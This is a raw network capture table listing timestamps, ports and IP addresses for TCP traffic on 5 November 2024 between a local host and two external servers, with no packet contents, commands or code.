Nov 5, 2024 10:13:24.869950056 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.869963884 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.869973898 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.870055914 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.870099068 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.874613047 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.874631882 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.874640942 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.874794006 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.909002066 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.909045935 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.909064054 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.909075022 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.909104109 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.909168005 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.909178019 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.909188986 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.909198046 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.909209013 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.909214020 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.909220934 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.909231901 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.909239054 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.909265041 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.909544945 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.909554958 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.909564972 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.909576893 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.909584045 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.909588099 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.909616947 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.909641027 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.909666061 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.909676075 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.909684896 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.909696102 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.909708023 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.909732103 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.910291910 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.910310030 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.910341024 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.910367966 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.910438061 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.910476923 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.990777016 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.990817070 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.990827084 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.990855932 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.990855932 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.990866899 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.990878105 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.990895033 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.990916967 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.024003983 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.024045944 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.024048090 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.024058104 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.024068117 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.024082899 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.024107933 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.024641991 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.024687052 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.024693966 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.024703979 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.024725914 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.024736881 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.024854898 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.024867058 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.024878025 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.024883032 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.024893999 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.024902105 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.024921894 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.024946928 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.025199890 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.025245905 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.025274992 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.025312901 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.025332928 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.025371075 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.025402069 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.025413990 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.025423050 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.025445938 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.025473118 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.025748014 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.025779963 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.025789976 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.025794029 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.025814056 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.025820971 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.067528009 CET	443	49760	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.068181992 CET	49760	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:25.068191051 CET	443	49760	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.068675995 CET	49760	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:25.068681955 CET	443	49760	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.069281101 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.069327116 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.069330931 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.069338083 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.069365025 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.069380045 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.085519075 CET	443	49762	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.085779905 CET	49762	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:25.085787058 CET	443	49762	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.086172104 CET	49762	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:25.086177111 CET	443	49762	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.100912094 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.100959063 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.100970030 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.100974083 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.100996971 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.101011038 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.104547024 CET	443	49761	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.104917049 CET	49761	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:25.104927063 CET	443	49761	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.105344057 CET	49761	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:25.105350018 CET	443	49761	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.106167078 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.106208086 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.106235027 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.106246948 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.106286049 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.139416933 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.139478922 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.139491081 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.139647961 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.139647961 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.140053034 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.140113115 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.140127897 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.140140057 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.140171051 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.140199900 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.140213013 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.140225887 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.140239000 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.140250921 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.140364885 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.140407085 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.140676975 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.140726089 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.140769005 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.140782118 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.140794992 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.140806913 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.140810966 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.140830994 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.140851021 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.140875101 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.140914917 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.140924931 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.140935898 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.140969038 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.141047955 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.141093016 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.141340017 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.141350985 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.141361952 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.141381979 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.141410112 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.141415119 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.141455889 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.184782982 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.184875011 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.184946060 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.184973001 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.184973001 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.184988022 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.207741976 CET	443	49760	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.207801104 CET	443	49760	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.207848072 CET	49760	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:25.208173037 CET	49760	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:25.208173037 CET	49760	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:25.208178997 CET	443	49760	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.208188057 CET	443	49760	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.209774017 CET	443	49763	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.210166931 CET	49763	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:25.210175991 CET	443	49763	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.210640907 CET	49763	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:25.210645914 CET	443	49763	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.210880041 CET	49765	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:25.210892916 CET	443	49765	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.210952997 CET	49765	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:25.211080074 CET	49765	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:25.211095095 CET	443	49765	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.216201067 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.216212988 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.216223001 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.216258049 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.216293097 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.221529961 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.221540928 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.221550941 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.221586943 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.221612930 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.224814892 CET	443	49762	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.225194931 CET	443	49762	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.225250006 CET	49762	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:25.225280046 CET	49762	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:25.225282907 CET	443	49762	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.225291014 CET	49762	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:25.225295067 CET	443	49762	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.227350950 CET	49766	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:25.227391005 CET	443	49766	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.227459908 CET	49766	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:25.227576017 CET	49766	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:25.227591991 CET	443	49766	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.248222113 CET	443	49761	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.248363972 CET	443	49761	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.248428106 CET	49761	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:25.248631954 CET	49761	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:25.248631954 CET	49761	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:25.248640060 CET	443	49761	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.248644114 CET	443	49761	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.250339031 CET	49767	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:25.250348091 CET	443	49767	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.250416994 CET	49767	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:25.250545025 CET	49767	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:25.250556946 CET	443	49767	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.255096912 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.255134106 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.255142927 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.255146980 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.255167961 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.255189896 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.255448103 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.255491972 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.255496025 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.255502939 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.255513906 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.255537987 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.255572081 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.255698919 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.255711079 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.255723000 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.255748034 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.255760908 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.255896091 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.255907059 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.255918026 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.255945921 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.255959034 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.256027937 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.256037951 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.256078005 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.256372929 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.256444931 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.256460905 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.256470919 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.256509066 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.256647110 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.256660938 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.256670952 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.256699085 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.256709099 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.256767988 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.256778955 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.256819010 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.300168037 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.300179958 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.300189018 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.300327063 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.300327063 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.331734896 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.331819057 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.331837893 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.331904888 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.337063074 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.337116003 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.337126970 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.337143898 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.337203026 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.350254059 CET	443	49763	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.350346088 CET	443	49763	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.350395918 CET	49763	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:25.350543022 CET	49763	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:25.350543022 CET	49763	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:25.350552082 CET	443	49763	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.350558996 CET	443	49763	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.352288961 CET	49768	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:25.352318048 CET	443	49768	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.352389097 CET	49768	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:25.352510929 CET	49768	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:25.352523088 CET	443	49768	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.370353937 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.370366096 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.370376110 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.370410919 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.370444059 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.370843887 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.370863914 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.370877028 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.370892048 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.370908976 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.370930910 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.370940924 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.370951891 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.370978117 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.370996952 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.371006966 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.371017933 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.371056080 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.371575117 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.371624947 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.371629953 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.371646881 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.371659040 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.371670961 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.371679068 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.371691942 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.371720076 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.372061968 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.372121096 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.372122049 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.372132063 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.372169018 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.372344017 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.372390985 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.372405052 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.372416019 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.372426033 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.372451067 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.372477055 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.372482061 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.372530937 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.388282061 CET	443	49764	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.388952971 CET	49764	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:25.388982058 CET	443	49764	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.389348984 CET	49764	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:25.389357090 CET	443	49764	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:25.415759087 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.415810108 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.415817976 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.415823936 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.415846109 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.415857077 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:25.452645063 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.452702999 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:25.452713013 CET	80	49738	185.215.113.206	192.168.2.5
